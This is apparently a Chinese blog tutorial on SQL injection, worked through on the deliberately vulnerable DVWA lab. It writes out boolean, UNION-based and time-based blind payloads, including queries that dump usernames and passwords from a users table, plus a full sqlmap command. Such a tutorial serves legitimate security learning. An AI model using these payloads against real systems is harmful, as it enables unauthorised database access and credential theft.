首页 > 数据库 >SQL注入

SQL注入

时间:2022-08-23 22:35:30浏览次数:47  
标签:-- union select SQL SCHEMA 输入 注入

SQL注入

1.sql原理:

网页进行输入程序时使用了sql语句访问数据库,因为未对输入的内容进行筛选操作,所以可以直接通过输入参数来对网页的数据库进行攻击。

2.注入流程:

以DVWA为例子

1.判断是否有注入漏洞

正常输入1

正常输入 1

输入'

页面报错,说明有注入点

2. 基于布尔的注入

输入' or 1=1 -- '

3.基于UNION注入

通过注入UNION注入的错误来猜测数据列数

' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
' union select 1,2,3,4 -- '
......

输入' union select 1 -- '

输入 ' union select 1,2 -- '

由此可以看出只有两个字段。
并且UNION注入不仅仅只用来查看字段,也可以由以下代码实现其他操作:

  1. 获得当前数据库及用户信息:
    'union select version(), database() -- '
    'union select user(), database() -- '
  2. 查询所有库名:
    'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
  3. 查看所库中所有表名:
    'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
  4. 同时查询表名及对应库名:
    'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
  5. 查询数据列:
    'union select NULL, user from users -- ' 'union select NULL, password from users -- '
    'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- '
    因为union前面只有两个字段,可以用mysql自带的函数concat()来查询多个字段,如:
    'union select password, concat(first_name,' ',last_name,' ',user) from users -- '

4.基于时间的盲注##

有些数据库对错误信息进行了备注,所以无法从上面的注入方法来推测到注入点,此时可以使用基于时间的盲注来进行探测注入点。
输入1' and sleep(10) -- '

此时网页正在处于刷新状态,说明成功了。

5. 自动注入

输入sqlmap -u "http://192.168.112.128/dvwa/vulnerabilities/sqli/?id=444&Submit=Submit#" \ --cookie ="PHPSESSID=q4uip9f73920co3v0qssi5evq4;security=low;showhints=1;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch --level=5 --risk=3

显示正在test中

标签:--,union,select,SQL,SCHEMA,输入,注入
From: https://www.cnblogs.com/wuyiluan/p/16618082.html

相关文章

  • ERROR 2006 (HY000): MySQL server has gone away
    sourcesql文件的时候,报错如下:ERROR2006(HY000):MySQLserverhasgoneaway 经查阅导致该error的原因很多,具体分析了我的问题是语句太长了,修改max_allowed_packet......
  • liunx 安装 mysql 8.0 ,centos 7
    下载地址:MySQL::DownloadMySQLCommunityServerhttps://dev.mysql.com/downloads/mysql/ 下载完整的打包程序,然后解压   解压命令:tar-xvfmysql-8.0.30-......
  • spring中的自动注入
    spring官方介绍IOC和DI的介绍ThischaptercoverstheSpringFrameworkimplementationoftheInversionofControl(IoC)principle.IoCisalsoknownasdependen......
  • MySQL 5.7 vs 8.0版本的性能有什么区别
    1、新增持久化设置MySQL8.0新增SETPERSIST的命令,该命令的配置值保存到数据目录下的mysqld-auto.cnf文件中,待重启后,读取该文件,用其中的配置覆盖缺省的配置文件,补充了SE......
  • Flask 学习-14.Flask-SQLAlchemy ORM操作数据库增删改查
    前言SQLAlchemy采用简单的Python语言,提供高效和高性能的数据库访问,实现了完整的企业级持久模型。它提供了SQL工具包和ORM(对象关系映射)工具,类似于Django自带的ORM框架......
  • 【数据库】在公司开发过程中总结的SQL编写规范,参考开发手册
    〇、概述1、常用资料链接(1)阿里巴巴开发手册链接:https://pan.baidu.com/s/1OtOFuItDIP7nchfODGIZwg?pwd=htx0 提取码:htx0 2、包含内容 一、开发手册内容(一)建表1......
  • 手动向容器注入Bean(在Bean定义之后 实例化之前)
      在此步时做到向容器手动注入Bean实现 BeanDefinitionRegistryPostProcessor接口 1.重写方法:publicvoidpostProcessBeanDefinitionRegistry(BeanDefiniti......
  • MySQL学习(2)---MySQL数据类型
    ps:此随笔基于mysql5.7.*版本。补充:UNSIGNED:所有整数类型都可以有一个可选(非标准)UNSIGNED属性。无符号类型可用于在列中仅允许非负数存在,或者当开发者需要该列的较大......
  • MySQL
    MySQL安装mysql下载地址:https://dev.mysql.com/downloads/windows/installer/5.7.html   下载完成之后直接安装:一直next出现下面这个界面后选择"Custom",,点击"Ne......
  • MySql(一)
    安装MySql首先下载MySql,下载地址为https://dev.mysql.com/downloads/windows/installer/5.7.htmlMySQL安装成功后,需要配置到环境变量,配置成功后,就可以登录到MySQL了,客户......